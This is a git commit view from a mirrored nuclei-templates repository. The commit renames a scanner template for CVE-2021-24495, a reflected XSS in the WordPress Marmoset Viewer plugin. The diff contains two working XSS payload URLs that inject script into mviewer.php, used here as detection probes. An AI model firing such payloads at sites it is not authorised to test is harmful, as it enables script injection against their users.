daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Template Name/ID update as per assigned CVE

patch-1
sandeep 2021-07-06 12:07:53 +05:30
parent fd13654972
commit fc68a95803
1 changed files with 4 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
vulnerabilities/wordpress/wp-plugin-marmoset-viewer-xss.yaml → cves/2021/CVE-2021-24495.yaml
View File

@ -1,10 +1,10 @@
id: wp-plugin-marmoset-viewer-xss id: CVE-2021-24495
info: info:
name: Wordpress Plugin Marmoset Viewer XSS [CVE-2021-24495] name: Wordpress Plugin Marmoset Viewer XSS
author: johnjhacking author: johnjhacking
severity: medium severity: medium
tags: wordpress,xss tags: cve,cve2021,wp-plugin,wordpress,xss
reference: https://wordpress.org/plugins/marmoset-viewer/#developers reference: https://wordpress.org/plugins/marmoset-viewer/#developers
requests: requests:
@ -12,6 +12,7 @@ requests:
path: path:
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>" - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a" - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: status - type: status